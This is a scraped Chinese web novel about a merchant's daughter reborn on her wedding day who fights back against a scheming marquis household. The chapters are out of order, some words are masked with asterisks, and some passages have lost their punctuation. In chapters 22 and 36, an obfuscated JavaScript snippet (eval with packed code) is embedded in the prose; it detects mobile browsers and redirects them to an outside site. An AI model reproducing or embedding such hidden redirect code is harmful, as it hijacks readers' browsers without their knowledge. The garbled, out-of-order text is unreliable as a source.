倒抽冷气声响起,哇哇,不愧是大齐首富,好有钱,难怪平西侯府愿意弯腰求娶,有这么一注大财,子子孙孙富贵都有了。 但,她这么直接将话挑明,把平西侯父子气坏了。 有些事情能做,但不能说出来,他们不要脸面吗? 江闻舟面红耳赤,恼羞成怒,“动不动就提银子,一身的市侩,上不了台面,我都羞于跟你这种人为伍,叶家表妹品行高贵,识大体,比你强上百倍。” 他一生气,就尽说大实话。 他本来只想娶叶表妹,他们青梅竹马,情投意合,早就互许终身,要不是父亲强压着,他根本不愿娶一个商贾之女。 云筝想到前世所受的苦,家破人亡,被榨干嫁妆,将她困在后院,给她下慢性毒,让她生不如死,整整十年啊。 最后,嫌她碍事,给她灌毒,将她扔在乱坟岗。 重回一世,那就跟他们拼了,纵然身死也要溅他们一身血,将他们全带走。 “叶家表妹?是十年前来京投奔侯府的那个孤女?听说,你当时一身破衣,身无分文……” 她恍然大悟状,“我明白了,你没嫁妆,没有资格成为侯府世子唯一的妻,但你们爱的轰轰烈烈,难舍难分,那就找个有银子的倒霉蛋给你们填坑呗。” 叶宜蓁脸色大变,她怎么知道这些的?按理说,这些消息瞒的很严,不可能泄露出去。 她……还知道什么?一想到那个秘密,叶宜蓁心惊肉跳,紧张的直冒汗。 云筝定定的看着她,她在紧张?不是应该愤怒生气吗?有点不对劲。 “这么一来,银子有了,你们有情人也终成眷属,只有我这个倒霉蛋成了你们可歌可泣爱情的垫脚石,花着我们云家的银子,又嫌我们云家的银子脏臭,还嫌我碍了你们的眼。” “你们就干干净净,高贵了,识大体了,我承认在算计人心方面,你们确实比我强上百倍千倍,多谢你们让我认清了人性。” 她揭开了叶宜蓁不堪的老底,也将平西侯府的算计明明白白的摆在台面上,让世人看清他们的丑陋嘴脸。 这是两败俱伤的打法,伤敌八百,自伤一千,但她没有别的选择。 不拼,只有死路一条。 平西侯眼神阴沉的可怕,好一个云家女,她真是疯了,玉石俱焚啊。 她到底哪来的胆子? 嗯,云筝表示她敢!这不过是开胃小菜!更疯狂的还在后头呢! 第2章 狠狠打脸 一道高大的身影走过来,正是平西侯江振,平西侯府真正的主人。 江闻舟躬身迎了上去,气愤的告状,“父亲,您不知道她有多恶劣,她……” 他是京城有名的贵公子,向来以风度翩翩著称,被世人夸奖,可这会儿,他急躁而又愤怒,气度全失。 平西侯眼中闪过一丝失望,儿子平时看着不显,但遇到事情就暴露出弱点,太沉不住气,还需要多历练。 “住口,婚姻大事岂能儿戏,三书六礼都已经走完,她就是你的妻,你要尊重她爱护她。” 三书:聘书、礼书和迎亲书。六礼:纳采、问名、纳吉、纳征、请期和亲迎。注(1) 就算还没有拜堂,这婚事已经板上钉钉,礼法和世人都认可的。 云筝深知,别看平西侯一副正人君子的模样,那都是假相。其实,他才是整桩事件的策划者,老奸巨滑的老狐狸。 他会不惜一切代价将她弄进侯府,用她的嫁妆为侯府填坑,保侯府上下的富贵荣华。 而,民不与官斗,穷不与富争,斗不过啊。 江闻舟本是平西侯府的二公子,自从长兄去世,他就是侯府的继承人,千娇百宠,被人捧惯了,心高气傲,哪受得了这样的气? 平西侯见儿子面有不忿之色,眉头微蹙,冷冷瞪了他一眼。 随后,平西侯转过头,露出和蔼可亲的笑容,“筝儿,我代闻舟给你赔个不是,这孩子年轻气盛,但,没有坏心,他昨晚还满怀憧憬的等着迎娶你过门呢。” 他身为长辈,摆出这样的姿态,已经给足体面,换了别人已经受宠若惊。 可惜,云筝不吃这一套,那十年的折磨让她很清楚平西侯是什么人,贪婪,阴狠,不择手段。 她心思飞转,面上不露,一双明眸看向江闻舟,似有怀疑,“是吗?” 江闻舟咽不下这口气,平西侯轻喝一声,“闻舟。” 江闻舟听出父亲话里的警告, 心里一凛,强忍着怒意作揖,“是我一时冲动,还请原谅我这一回,我保证,会好好待你。” 看似温和得体,却透着一股高高在上的傲慢和勉为其难。 平西侯笑的更亲切了,“筝儿,你可消气了?若还不满意,我让闻舟跪下来赔罪。” 江闻舟作势要下跪,父子俩一唱一喝,把云筝架了起来,这世上哪有夫君跪妻子的?倒反天罡了。 纵然平西侯府有千般的不是,这么一闹,责任全归云筝了,是她不识大体。 云筝的眼睛微微眯起,这是给她挖坑呀,“侯爷说笑了,男儿膝下有黄金,跪天跪地跪君王跪祖宗,岂能跪一介女子?” 她如此识趣,平西侯很是满意,心中也升出一丝轻视。 一个还没进门就大闹特闹,这是想拿捏夫家的蠢货,商贾出身就是眼光短浅。 但他嘴上说的极为好听,“好,我就知道,你是最深明大义的,能娶到你,是平西侯府的福气。” “闻舟,牵你妻子进去,拜堂成亲。” 江闻舟早就憋了一肚子火,见云筝软服,只当她怕了,“且慢。” 他走向另一台花轿,撩起帘子,众目睽睽之下牵出一个美丽女子,女子柳弱花娇,楚楚可怜,一双无辜的小鹿眼,我见犹怜,让人情不自禁的想呵护。 女子一身大红嫁衣,跟江闻舟站在一起,仿若一对璧人。 江闻舟大声宣布,“这是我的妻室,叶家宜蓁。” 叶宜蓁浅笑盈盈,温婉动人,跟江闻舟相视而笑,羡煞旁人。 云筝眼中酝酿着怒火,跟前世一模一样!一对贱人! 现场一片哗然,有人忍不住问道,“什么意思?你要同时娶妻纳妾?这妾不能穿大红嫁衣吧。” 江闻舟昂首挺胸,深情款款的看着女子,他怎么可能委屈自己心爱的女人。 “各位,今日不仅仅是我成亲,还是兼祧两房,代兄长迎娶的大喜日子。” “众所周知,我兄长去世时还没有成亲,没有留下子嗣,家中长辈始终耿耿于怀,所以,由我兼祧两房,同时为兄长娶妻,为兄长延续香火。” 宾客们神色各异,兼祧啊,也不是不行,有前例可循,但你家没有提前知会,忽然搞这么一出,这就是欺负人! 对了,这叶宜蓁是哪家的小姐,怎么从来没听说过? 江闻舟不怀好意的将矛头对准了云筝,“云小姐,你深明大义,一定能理解,并且支持的,对吧?” 面对如此巨变,云筝神色不变,“我能理解……” 江闻舟心中得意,你再强横又如何,进了平西侯府的门,就得乖乖听话,要她朝东,就不能朝西,他让她生就生,让她死就死。 他才是主宰她生死大权的人。 “太好了,以后你们就是妯娌,长嫂如母,你要好好照顾蓁蓁,不能让她受半点委屈。” 叶宜蓁温柔一笑,冲云筝福了福身,“我在此先谢过嫂嫂了。” 两人一口一声嫂嫂,当众将名份定了下来,云筝在他们眼里只是一个带来万贯家财,供他们享乐的垫脚石。 他们还嫌她碍事,以折磨她为乐呢。 云筝深深的看着这对狗男女,一个狠辣无情,一个歹毒凉薄,确实是绝配。 前世,他们让她生不如死,今生,要让他们血债血偿! 她嘴角扬起一抹淡笑,忽然张口说道,“世子,你再怎么怨恨父母,也不能当众咒父母去死,你这般凉薄,着实让人心惊。” 如一道惊雷在人群炸开,平西侯府父子闻声色变,江闻舟不禁急了,“你胡说什么?” 云筝眉头微蹙,像看着一个丧心病狂的人,“父母尚在,哪来的长嫂如母?哪天你母亲去世,长嫂才有资格行使母亲职责,世子,你的品行不行啊。” 江闻舟脸色铁青,一时不知该怎么辩解,“我……” 叶宜蓁眼神微闪,“嫂子,我家夫君嘴笨不会说话,我代他向你赔个不是,以后我们夫妻还请你多多照顾。” 别看她一副温婉如水的模样,其实一开始就在宣告主权,一口一声嫂子恶心人。 占尽好处,还卖乖。 云筝像看货物般,从头打量到脚,满满是轻视,“你是哪家的小姐?有婚书吗?” 叶宜蓁心中恼怒,这女人怎么敢用这种眼神看她?她算什么东西?要不是她有几个臭钱,哪里轮得到她进侯府的大门。 “当然有。” 她纤手一伸,丫环将一纸婚书送上,云筝打开一看,不但不生气,反而笑了。 叶宜蓁心里一紧,有种不好的预感。 云筝看向人群,视线落在某个宾客身上。 “秦大人,你是礼部侍郎,请问,按大齐律,男子可以娶几房妻室?” 被点名的秦大人不假思索的开口,“本朝律,只有一房。” 云筝从怀里拿出一张婚书,连同叶宜蓁的婚书送过去。 “您看,这两张婚书,一张是我和平西侯世子的婚书,时间为一年前。而这一张,是叶小姐和平西侯世子的婚书,时间为半年前。” 她红唇微抿,扔出一个重型炸弹,“平西侯府公然违抗大齐律,置朝廷律法为无物,这是要造反呢,还是不将皇上放在眼里?” 如一道惊雷,无数人变了脸色。 不远处,一辆普通的马车在几名骑士的簇拥下徐徐驰过,一阵风吹过,车帘微动,车内端坐着一个矜贵俊逸的男子。 男人玉簪束发,黑眸深邃锐利,一袭黑衣如墨,周身萦绕着寒意。 “停下,去探探。” 马车瞬间停下,随行躬身,“是,九千岁。” 此时,谁都没有想到,即将发生更震惊世人的事…… 第1章 重生回夫君兼祧两房时 “咦,这平西侯世子娶妻,怎么有两台花轿同时进门?这是闹什么幺蛾子?” “听闻世子娶的是大齐首富云家的独女,云家富可敌国,瞧瞧这十里红妆,估计是将大部分家产都给独女当了嫁妆,平西侯府以后就不用愁没有银子花了,羡慕死人了。” “这左边的花轿有云家的徽记,应该坐的是云家的独女,那右边更华丽的花轿坐的是什么人?” “这……没听说啊,奇怪。” 宾客的议论声传到云家花轿内,一袭大红嫁衣的美丽女子睁开眼睛,眼中满满的怨恨,绝望,愤怒,痛苦,不甘,无数复杂的情绪如化不开的浓墨般深不可见底,浑身散发着浓浓的戾气。 她,居然,重生了! 她本是大齐首富云家独女,云家富可敌国,生意遍布天下,身为独女的她生来就受尽宠爱,要风得风,要雨得雨,过的无比幸福。 十六岁那年,平西侯府忽然上门提亲,家人亲朋喜翻了天,觉得她的命真好,能以商贾之女的身份嫁给勋贵权贵,跨越阶层,是高攀。 父亲为了让她在婆家有底气,决定将大半的家产给她当陪嫁。 十七岁那年,她满怀憧憬的带着十里红妆嫁进平西侯府,殊不知,她悲惨的人生就此开启。 她在大婚日沦为笑柄,夫君牵着白月光拜堂兼祧两房,她奋力抗争,婆母当众摔碎她传家玉镯,摁着她的脑袋逼她认命。 她守着长房牌位当十年活寡妇,被逼过继白月光之子,被榨干万嫁妆,最后被毒酒穿肠,扔去乱葬岗。 临死前,夫君搂着白月光大笑。 “浑身铜臭的商贾之女也配上我侯府族谱?” “你不过是我侯府百年富贵的垫脚石!” 一道女声猛的在外面响起,惊醒了痛苦中的云筝,“请新郎官踢花轿门。” “怦。”重重一踢,花轿晃了晃,这一脚多少是是带着个人情绪的。 媒婆扯着嗓子叫道,“请新娘子下轿。” 轿门被打开,光线一亮,云筝跟年轻男子打了个照面,四目相对。 新嫁娘杏眼桃腮,肌肤雪白,眉眼如画,如牡丹般美丽的不可方物,男子眼中闪过一丝惊艳。 云筝定定的看着他,这就是年轻时的平西侯世子江闻舟,她名义的夫君! “你……” 江闻舟眼中的惊艳之色一闪而过,取而代之的是不耐烦。 长的再美有什么用,被迫迎娶一个商贾之女,是他一生最大的耻辱,他绝不会给她半点好脸色。 “下轿还需要三请四请?摆什么臭架子?云家的家教可想而知。” 云筝浑身一颤,这是成亲那日江闻舟说的第一句话,一模一样。 满满的嫌弃,极力贬低云家,将她踩进尘埃,毁掉她的自尊心,这就是江闻舟控制人的手段之一。 当年的她不敢辩解,自觉出身低,一心只想讨好夫君和婆家,只为在侯府站稳脚跟,不丢了父母和娘家的脸。 可,一切事与愿违! 一股怒火从心底蹿起来,云筝冷冷的反问,“我云家的家教怎么了?还请世子爷明说。” 江闻舟愣住了,她怎么敢的? “商贾之女小家子气,上不了台面。” 云筝顿时火冒三丈,“那侯府为什么还上门求娶?是侯府堕落了?还是……世子你娶不到门当户对的妻室?” 她的视线往下移,嘴角扬起一抹恶劣的弧度,“还是你身体有缺陷?” 别看侯府光鲜亮丽,其实,内里早就空了,连奴婢的月银都发不出来,否则也不会想找她这个冤大头来填这个坑。 江闻舟如被重重打了一巴掌,恼羞成怒,大声喝斥,“云筝,怎么敢说出羞辱侯府的话?好大的胆子,我这就教教你什么是三从四德,什么是以夫为天。” 他一怒之下顾不上体面,伸手想将云筝从花轿里拖出来,给她一个下马威,云筝早有准备,身形灵活的闪身,钻出花轿。 云筝看向四周,花团锦簇,宾客盈门,俱都齐刷刷的看着她,神色各异。 她又回头看了江闻舟一眼,倨傲,高高在上,盛气凌人,还带着一丝青涩。 她居然,重生回成亲当日,夫君兼祧两房,两台花轿同时落地时! 好,太好了,这一世,她要逆天改命! 先,远离这吃人不吐骨头的狼窝,再慢慢筹谋其他。 她心中有了主意,故意凑过去,压低声音,“你急了,看来是被我说中心事,哎,堂堂平西侯世子只能娶一个商贾之女为妻,谁让我云家有金山银山呢,向银子低头并不丢人,等我嫁进侯府,你多哄哄我,我一开心就愿意给你打赏。” 打赏?这绝对是羞辱,江闻舟从未见过如此恶劣的女子,不禁气的浑身发抖。 “想进侯府的门,没有那么容易,信不信,我将你退回去?” 这是威胁,也是恐吓,一旦退回去,女方和女方的家族都会名声扫地,被世人指指点点,这是要逼她去死啊。 云筝眼中闪过一丝莫名的光芒,眨了眨,眼眶忽然泛红,“世子,你确定要将我退回去吗?” 见她似是害怕了,江闻舟心中得意,一个低贱的商贾之女,给脸不要脸,那就将她的脸面狠狠踩在脚底下。 “是。” 谁知,云筝向四周宾客福了福,眼含热泪,一副受了天大委屈的可怜模样。 “诸位,平西侯世子公然质疑我云家的教养,还没有进门就殴打我,还扬言要将花轿退回去,在此,我请大家见证,不是我云家不义,而是世子羞辱我云家在先,这婚,不结也罢。” 她根本没给对方反应的机会,迅速做出决断,“来人,将嫁妆拉回去,我们打道回府。” 一入侯门深似海,一旦踏进去,生死不由己。 现在的她还没有跟侯府正面对抗的实力。 不过,年轻时的江闻舟还没有历练出来,城府不深,不是很难缠,真正难缠的是…… 这话一出,宾客们惊呆了,全场沸腾,平西侯世子看着风度翩翩,是京城赫赫有名的青年才俊,怎么做事这么不地道? 江闻舟气怒攻心,“云筝,你疯了吗?你知不知道,我若不娶你,这世上没人敢娶你,你这辈子只能孤独终老。” 云筝故意扬声说道,“比起孤独终老,我更怕……被吃绝户,死无葬身之地!” 每一个字清亮无比,清清楚楚的传到宾客的耳朵里。 全场哗然。 “原来平西侯府打着吃绝户的主意啊,好阴险。” “这不是明摆着看上人家的银子吗?否则为何向一个商贾之女提亲?” “看不起人家,却不得不咬牙迎娶,委屈坏了呢,这算不算软饭硬吃?” “算,怎么不算呢?” 江闻舟如被一拳重重击中,眼前一阵阵发黑,气血翻滚。 可恶,云筝这个贱人怎么敢拉他们平西侯府下水?这是活腻了,找死! 云筝转身快步离开,一步,两步,三步…… 就在她即将踏出街口,心中微喜时,一道威严的声音在身后响起,“拦下她。” 云筝浑身一僵,闭了闭眼,再睁开时,眼中全是疯狂之色…… 拼了! 第22章 你扣一个偷情,我扣一个** 随着时间的推移,叶宜蓁越来越焦急,“怎么还找不到人?按理说,我们第一时间封锁寺庙,贼人应该还在寺里。都找过了吗? “都找过……啊,还有几个雅院没找。 叶宜蓁闻言皱了皱眉头,雅院都是有权有势的人包下来的,谁敢去搜?不想活了? 她看着天色,这都中午了,留给她的时间不多了,不禁忧心忡忡,“**哥,万一歹徒偷偷躲进雅院,不小心伤到贵人,就是我的罪过了。 明明是想搜院子,到她嘴里,就是替贵人们担心,显得特别善解人意。 江闻舟眼睛一亮,“我亲自走一趟,跟各位贵人打声招呼。 说是打招呼,其实就让人自查一下,他也能结交一番,拓展人脉。 两人带着手下去敲各个雅院的门,身后还跟着一群热心肠的香客。 包下雅院的都是高官家眷和勋贵家眷,都没有为难他们,客客气气的。 江闻舟不搜,而是让他们自搜,不会伤了他们的体面,说到底是为了他们的安全着想。 这不,他和叶宜蓁收获了一波好感。 还剩下最后两个雅院,叶宜蓁饿的肚子咕咕叫。 江闻舟也饿了,“我们先吃点东西吧。 叶宜蓁是又累又饿,疲惫不堪,但还坚持着,“不了,一想到孩子在受苦,我就担心的食不下咽,只想尽早将孩子救回来。 她无时无刻在表现自己的美德,让众人夸了又夸。 听着大家的夸赞声,叶宜蓁心中暗暗得意,过了今日,她将是京城口碑最好的贵夫人。 云筝拍马都比不上她! 一想到能将云筝踩在脚底下,一泄心头之恨,她就干劲满满。 最靠近枫叶林的雅院内,云筝痛痛快快洗了一个热水澡,换上干净的衣服,叫了一桌子素菜。 小男孩也被人带下去漱洗,换上不合身的干净衣服,坐在云筝对面大快朵颐,吃的小脸颊鼓鼓的。 他早就饿坏了,吃什么都香。 云筝给他挟了几筷子菜,“慢慢吃,没人跟你抢。 小男孩偷偷看了她一眼,眼神充满了怀疑,纠结,不安。 云筝看在眼里,也不多说,这小家伙经历了这种破事,不可能轻易 相信别人了。 就算她说的再多,他还半信半疑,不过没关系,只要他配合就行。 吃饱喝足,春华送上冰糖燕窝当饭后甜点。 小男孩尝了一口,眼睛刷的亮了,“这个好好喝。 云筝看出来了,这小子就是个小吃货。“小家伙,你…… 小男孩两三下就把燕窝喝完了,满足的摸摸肚子,“我叫安康。 一听这话,云筝就知道暂时得到了他的信任,这小屁孩还是挺机灵的。 “你怎么联系你爷爷?需要我帮忙吗? 正说着话,外面传来敲门声。“开门,快开门,我是平西侯府世子,有事相告。 云筝放下白盅,擦了擦嘴,看向对面的安康,“他们来了,你先去屋里。 “好。安康乖乖的跳下椅子,飞快冲进屋子,却悄悄凑到窗边偷看。 云筝无视外面的敲门声,轻声吩咐下去,“去,泡壶好茶,上些干果茶点。 “是。 江闻舟敲了半天,门一直没有开,不禁纳闷。 里面应该有人啊。 他看向寺里的方丈,“怎么一直不开门?拐子不会躲在里面吧?这是谁家包下的? “这……方丈哪里知道,昨晚来的香客太多,他不可能一一接待。 他在人群里寻找知客僧的身影,江闻舟已经不耐烦了。 “快说啊,要是出了什么事,你们皇觉寺担待不起。 就在此时,院门开了,一个青衣侍女探出头,“谁呀? 叶宜蓁一眼就认出了她,顿时激动起来,“春华?怎么是你?你家小姐呢? 春华微微蹙眉,还没有说什么,江闻舟就将她一把推开,迫不及待的推门而入。 他一眼就看到坐在树下喝茶的美丽女子,一袭紫衣,佩戴珍珠首饰,显得高贵典雅。 他顿时火冒三丈,“云筝,果然是你,你一晚上没回侯府,居然躲在寺庙偷情! 全场一片哗然,偷情?跟谁?好刺激! 最喜欢这种桃色绯闻了! 叶宜蓁眼中闪过一丝淡淡的笑意,嘴上却痛心疾首,“弟妹,你怎么这么糊涂?怎么对得起世子? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15794645|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你让侯府的脸面往哪里搁? 江闻舟面红耳赤,情绪极为激动,“云筝,你跟人通奸,不配当我们平西侯府的二少夫人。” 他俩生怕别人不知道云筝的身份似的,一上来就大声宣扬,还给她扣上了罪名,疯狂的想将她打下尘埃,狠狠拿捏住她。 他气势汹汹的大喝道,“你这是要浸猪笼的!来人,把她押回去处置!” 太好了,云筝的名声毁了,再也嚣张不起来,这辈子只能给平西侯府做牛做马,任由他们践踏。 手下们如狼似虎的扑上来,云筝坐着不动,忽然大喊一声,“不好了,平西侯府要**!” 你扣一个偷情,我扣一个**,很公平,是吧? 这一嗓子把大家吓了一大跳,**?这可比偷情严重多了。 江闻舟气坏了,“你胡说什么,快,把人带走。” 手下粗鲁的将云筝往外扯,云筝努力挣扎了几下,“我没有偷情,我昨晚躲在这里,是因为听到了一个骇人听闻的秘密……” 她是语不惊人,死不休,成功激动了香客们的好奇心。 江闻舟已经领教了她的嘴皮功夫,不敢再让她发声。 “把她的嘴堵上。” 云筝看向人群,面色惶恐,“这是要**灭口,救命啊。” 江闻舟气的浑身发抖,亲自过来捂嘴。 一道威严的声音猛的响起,“住手。” 江闻舟猛的扭头,脸色变了几变,“定国公,您怎么来了?此女心性狡诈,就喜欢胡说八道,你千万别信她的鬼话……” 定国公从隔壁院落走出来,很是威严。“让她把话说完。” 江闻舟脸色不好看,却不敢跟定国公对着干。 定国公虽然退了下来,但,他的儿子镇守西北,麾下有十万精兵,权势滔天,不像他们定西侯府,空有爵位,却没有实权。 定国公的视线落在云筝脸上,这小姑娘不是个简单的,“二少夫人,你说。” 云筝一副心有余悸的模样,神色惶惶,“是这样的,我无意中听到叶宜蓁精心安排了一个阴谋……” 如一道惊雷砸下来,叶宜蓁闻声色变,不!不会的,她不可能知道! ? 第36章 不顾人伦,强抢**? 明镜司,就位于皇宫隔壁,只有一墙之隔,这是让无数人闻风丧胆的地方。 牌匾上写着金色的明镜司三个大字,龙飞凤舞,出自开国皇帝之手。 云筝走下马车,仰头看了一眼,侍卫森严,狰狞的兽头让人不寒而栗。 身后传来一道冰冷的声音,“云筝,蓁蓁若有罪,你这个侯府的二少夫人也逃不了干系。 这是江闻舟的警告,也是威胁,不要乱说话。 云筝微微侧头,“江闻舟,你儿女情长,注定成不了大事,平西侯府总有一天毁在你手里。 两人的目光在空中交锋,互不相让,火花四溅。 谷雨大人不耐烦的催促,“进去! 走进明镜司,环境居然不错,鸟语花香,小桥流水,好一派江南园林景象。 前面是办公区,人来人往,个个神色严肃,空气中弥漫着肃杀之气。 云筝挑了挑眉,忽然说道,“谷雨大人,听说进了你们明镜司,没人能全身而退。 “也有例外的。谷雨不动声色的观察,她确实有点特别。 在恶名昭彰的明镜司行走,居然没有一点怯色。 君不见,旁边的江闻舟和叶宜蓁脸色极差,像家里**人般。 或许,正是这份胆量让九千岁另眼相看吧。 一行人走着走着,一转角,就进入一幢建筑屋,顺着台阶往地下走,一股恶臭味迎面扑来,让人不由的屏住呼吸。 景象一变,光线昏暗,潮湿阴冷,宛如深黑的无底洞。 拷打声,惨叫声,求饶声,声声传进众人耳朵里,都变了脸色。 江闻舟不由自主的屏住呼吸,叶宜蓁额头隐隐有汗。 他们被带进一间牢房,一个女人四肢被拷起来,遍体鳞伤,鲜血淋漓,奄奄一息。 但,看到叶宜蓁的瞬间,她的眼睛刷的亮了,“小姐。 叶宜蓁快走两步,紧紧拽着栏杆,“奶嬷嬷! 行刑人员一鞭抽下去,“王氏,你家小姐到了,你赶紧招吧。 王嬷嬷浑身剧震,疼的惨叫,“别打了,我招! 云筝不动声色看向叶宜蓁,此时的叶宜蓁微微咬唇,看着害怕,其实不怎么紧张。 王嬷嬷深吸一口气“**鬼医的孙子是我出的主意也是我指使茶楼的伙计找绑匪我对那小伙计有一饭之恩他是忠义之人宁死也要报恩。” “至于那些绑匪我不认识。” 云筝看在眼里微微摇头王氏这是将所有的罪责揽到自己身上。 明镜司的人也不相信“你跟鬼医无冤无仇的为什么要这么做?有什么动机?是谁指使你的?” 王嬷嬷伤的很重眼睛都睁不开了“没有指使我最终目的是拉拢鬼医为我所用帮我除掉云筝和云家所有人。” “只有那样平西侯府就能顺利接收云家的财产我家小姐也能坐稳世子夫人之位再无人跟她争锋。” 这说法也算合情合理但云筝一个字都不信区区一个奴婢怎么可能有这种野心? 谷雨大人忽然拿起烫的通红的烙铁一步步逼近“你是说叶宜蓁对此事一无所知?你考虑清楚了撒谎是要付出代价的。” 嬷嬷闻到烙铁灼热的气息脸色青白浑身颤抖“我说我说实话。” 叶宜蓁瞳孔一缩垂在宽大衣袖下的手紧握成拳。 鲜血顺着王嬷嬷的脸颊往下流淌“是……我家小姐心慈手软连只蚂蚁都不敢踩死那由我来做这个坏人。” 王嬷嬷气喘吁吁一副随时要断气的样子“我无意中结识了一个人他身患绝症所有大夫束手无策但被鬼医出手救活了。” 谷雨继续追问道“那人叫什么?是什么人?” 王嬷嬷摇头道 谷雨立马抓住了关键“就是说有没有这个人存疑?” 王嬷嬷血迹斑斑的脸扭过去恶狠狠的盯着云筝“云筝你抢我家小姐姻缘要遭天打雷劈的我这是替天行道。” 这老婆子对叶宜蓁太忠心了就是她养的恶犬指哪咬哪。 不过云筝并不失望早就料到了“叶宜蓁你真的一无所知?” 若无法将叶宜蓁绳之以法但可以让她付出相应的代价。 想全身而退?那也要看她答不答应。 叶宜蓁一脸的痛心疾首“我若是知道一定会阻止嬷嬷你糊涂啊。” “ 当年要不是您,老奴早就没命了,老奴怎么舍得让您受苦……”王嬷嬷眼眶通红,满眼的不舍。 就在此时,一道冰冷的声音响起,“还有力气说这些废话,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15794659|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来我们明镜司的手段不够狠。” 是厉无恙,他快步走进来,浑身散发着冰冷的寒气。 他冷冷的下令,“把叶宜蓁绑起来,动刑。” 叶宜蓁吓的脸色苍白,“九千岁,我……” 厉无恙看到她,就想到之前的糟心之事,气压更低了。 就在半个时辰前,皇上眉头紧皱,“无恙,你再怎么桀骜不驯,也该想想太后的感受,她盼着你娶妻生子。” 厉无恙薄唇微勾,不经意间透着一股不羁,“那就不劳她操心了。” 这态度让皇上心情很复杂,“你别这么说,毕竟是你的亲生母亲。” 厉无恙很不耐烦的站起身,从怀里掏出一物。 “这是云家大小姐送来的嫁妆清单,您是派人去接手呢?还是等她将嫁妆卖了换银子?” 皇上随意翻了翻,一长串的嫁妆,估值在五百万左右。 “一事不烦二主,就让云家换成银子,限时十日。无恙,你跟户部尚书一起跟进此事,必务要早日将银子交割完毕。” “是。” 他的视线落在最后一页,云家特意进献一支千年血参和百年灵芝给皇上。 一顶珍珠凤冠和两匹软烟罗进献给太后,一套红宝石头面,两匹蝉翼纱进献给皇后。 “千年血参?百年灵芝?没想到云家还有这样的好东西。” 皇上私库里也有一支血参,云家居然也有! 帝王的猜忌之心在这一刻达到了顶点。 厉无恙漫不经心的说道,“女子生产是一只脚踏进鬼门关,云家爱女心切,找遍天南地北,费时十年才搜罗到了一支,用来压箱底。” 灵芝虽珍贵,但皇上私库不缺此物,只看重这千年血参。 “罢了,念在云氏将东西交上来了,就不跟她一般计较,无恙,你出宫前,去给太后请个安。” 厉无恙微微蹙眉,刚想说什么,一名禁卫匆匆走进来,“皇上,有人告密……” 他小心翼翼的看了九千岁一眼,神色古怪极了。 皇上冷喝道,“说。” 禁卫身体哆嗦了一下,“说,九千岁不顾人伦,强抢**!” 全场:!!! 皇上猛的扭头,“谁?是谁?” ? 第37章 你是懂**诛心的 皇上目瞪口呆“你强抢**?是哪家的?哪个美娇娘能让你如此痴狂?” 厉无恙冷笑一声好大一个黑锅砸下来。 “是谁诬告本王?本王这就去抄了他的家灭他全族。” 禁卫的脸色一白“是……金吾卫校卫方珢。” 金吾卫负责巡察治安、警戒京城在大型活动时也负责防务。 皇上挥了挥手满眼兴味“快把他叫进来。” 方珢很快就进来了恭恭敬敬的行了大礼“参见皇上吾皇万岁万岁万万岁。” 皇上迫不及待的追问“快说说九千岁强抢**是怎么回事?抢了哪家的媳妇?” “禀皇上抢的是平西侯府的儿媳初代平西侯曾协助太祖建立不世功勋太祖允诺平西侯府与国同休又岂能折辱?” 厉无恙的心莫名的一跳云筝? 皇上怔住了平西侯府的儿媳?“这有何证据?” 方珢是个愣头青义正言辞的表示“听说明镜司齐齐出动将人掳走了光天化日之下强抢民妇成何体统?将皇室的脸面往哪里放?” “请皇上主持公道莫让有功之臣寒了心。” 皇上哈哈一笑“无恙你最近频频跟人接触原来是动了凡心好朕帮你把她抢过来但有一点先说好只可纳为妾室。” 方珢目瞪口呆这是助纣为虐!“皇上睿亲王他……” 厉无恙面无表情的反驳“皇兄我和云家大小姐清清白白断无半点不轨之事。” 方珢猛的抬头奇怪的开口“什么云家大小姐是叶宜蓁叶姑娘。” 厉无恙怔了怔随后不知是失望还是羞辱涌上心头“一个心思恶毒的贱妇她配吗?方珢 “九千岁外面都传遍了您说不是谁信?除非您将人放回去。” 传遍了?这么快?皇上和厉无恙不约而同的蹙眉这不对劲。 厉无恙面如沉水“皇上臣弟有理由怀疑有人在暗中策划了这一切只为了逼臣弟放人。” “问题是这么短的时间内他们是怎么做到精准的传递消息?又怎么确保会递到御前?” 皇上的脸色也不好看“你是说 ,宫中有平西侯府的眼线?” 哪是为了叶宜蓁,分明是为了救平西侯世子江闻舟。 “是。”厉无恙却隐隐觉得,闹这一出不是江世子,而是为了叶宜蓁。 皇上本就忌惮那些勋贵,心中不悦,“彻查,不管查到谁头上,都绝不姑息。” “是。”厉无恙冷冷的看着方珢,清洗宫庭,就从他开始吧。 方珢浑身剧颤,瘫软在地。 暮色四合,厉无恙面无表情的走在宫道,衣袖飞舞,说不出的寂寥。 就在此时,一名明镜司跑过来,“主子,云大小姐伤了江闻舟的脸,情况有点严重,平西侯府不会善罢甘休的。” 厉无恙脚下一顿,眉头微皱,“走,出宫。” 等他回到明镜司,就看到这一幕,心中的怒火更盛了。 “进了明镜司,九死一生,没有人能全身而退,用刑!” 几个属下冲向叶宜蓁,江闻舟拼尽全力阻拦,但,两手难敌众拳,被打趴在地上。 而,叶宜蓁被抓起来,双手锁在墙壁上,她吓坏了,瑟瑟发抖,“九千岁,饶了我吧,求您了。” 江闻舟苦苦哀求,“蓁蓁是无辜的,求九千岁破例,以后,您若有什么差遣,我随叫随到。” 他这是臣服之意。 